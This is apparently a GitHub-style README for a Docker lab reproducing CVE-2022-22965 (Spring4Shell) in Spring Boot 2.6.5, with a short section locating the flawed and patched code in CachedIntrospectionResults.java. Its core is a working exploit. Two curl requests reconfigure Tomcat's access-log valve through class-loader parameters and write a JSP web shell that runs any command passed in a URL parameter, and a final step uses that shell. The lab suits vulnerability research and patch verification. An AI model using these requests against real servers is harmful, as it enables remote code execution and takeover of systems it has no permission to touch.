CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Description

Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5

介绍

# Spring Boot CVE-2022-22965
Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5

![Shell](shell.png "Shell image")

## 🚀 Getting Started
1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it.
2. Run `docker compose up --build` to build and start the vulnerable application.
3. Run `curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="` to changes Tomcat config valve.
4. Run `curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"` to create the web shell.
5. Open your browser and go to http://localhost:8080/shell.jsp?1337=id to start executing commands.

---

## 🔎 Patch revision
The source code for Spring Framework 5.3.17 (vulnerable) and Spring Framework 5.3.18 (patched) can be downloaded respectively from: 

* https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
* https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

```
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
```

The vulnerability is found in the `/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java` file at line `290` where validation is applied for `Class.getClassLoader()` and `getProtectionDomain()` methods but not for `ClassLoader`, `ProtectionDomain` types and `PropertyDescriptors` names.

The difference between the vulnerable code and the patched code can be obtained with the command diff.
```
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
```

![Patch](patch.png "Patch image")

---

## Credits

* Original research: @p1n93r
* Thanks: @fmunoz

文件快照

备注